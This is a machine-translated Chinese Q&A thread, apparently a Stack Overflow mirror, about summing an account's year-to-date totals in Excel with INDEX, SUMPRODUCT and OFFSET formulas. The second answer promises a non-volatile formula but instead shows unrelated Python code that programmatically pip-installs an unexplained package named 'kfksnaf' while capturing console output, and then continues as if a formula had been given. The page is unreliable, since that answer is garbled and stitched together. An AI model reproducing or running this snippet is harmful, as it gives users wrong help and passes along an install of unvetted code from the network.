我正在尝试获取特定帐户的年度总计。假设我们现在在七月。帐户5340
的年初总计应为2800
。
在下面的公式中,AT29=5340
和AT28=7
我试过了
=SUM(INDEX(AV$4:AV$25,MATCH(AT29,AU$4:AU$24,0)):INDEX(AV$4:BG$25,MATCH(AT29,AU$4:AU$24,0),7))
但这只能让我找到第一行。
=SUMPRODUCT((AU4:AU24=AT29)*AV4:BG24)
但这给了我整整一年的时间。
=SUMPRODUCT((AU4:AU24=AT29)*INDEX(AV4:BG24,,AT28))
但这只是给了我7月份的总和。
=SUMPRODUCT((AU4:AU24=AT29)*(SUM(INDEX(AV4:AV24,,1):INDEX(AV4:BG24,,AT28))))
但这给了我一些我不知道它是什么的XD
答案 0 :(得分:2)
因为您的数据是在主索引列上排序的,所以可以使用单个SUM函数覆盖单个OFFSET函数来执行此操作。
要确定您要汇总的区域,请从数据上方和左侧的左上角开始 - 假设是A1(我无法从您的示例中了解您的网页实际设置情况)。您需要向下移动行数,直到匹配您正在查找的帐户为止。您将要转到右侧1列,因为您将始终在1月份开始。然后,您可以获取与数据中该帐号匹配的行数。您可以选择与测试时间线中有数月相同数量的列。总之,这看起来像:
=SUM(OFFSET(A1,MATCH(A12,A1:A9,0),1,COUNTIFS(A2:A9,A12),A13))
注意:这假设您的帐户来自A2:A9,并且您已在单元格A12中键入了指定的帐号,并且您已计算出单元格A13中当年的年度数。< / p>
TL; DR :将左上方的2D框与特定帐户的第一个实例相加,向下移动与该帐户的实例一样多的行,然后转到今年迄今为止有多少列的权利。
答案 1 :(得分:2)
如果AU中的数字按顺序排列,则以下非易失性公式将起作用:
import sys
import pip
import io
stdout_real = sys.stdout
sys.stdout = io.StringIO()
try:
pip.main(["install","kfksnaf"])
finally:
stdout_real.write(sys.stdout.getvalue())
sys.stdout = stdout_real
使用COUNTIF()会将行扩展正确的行数。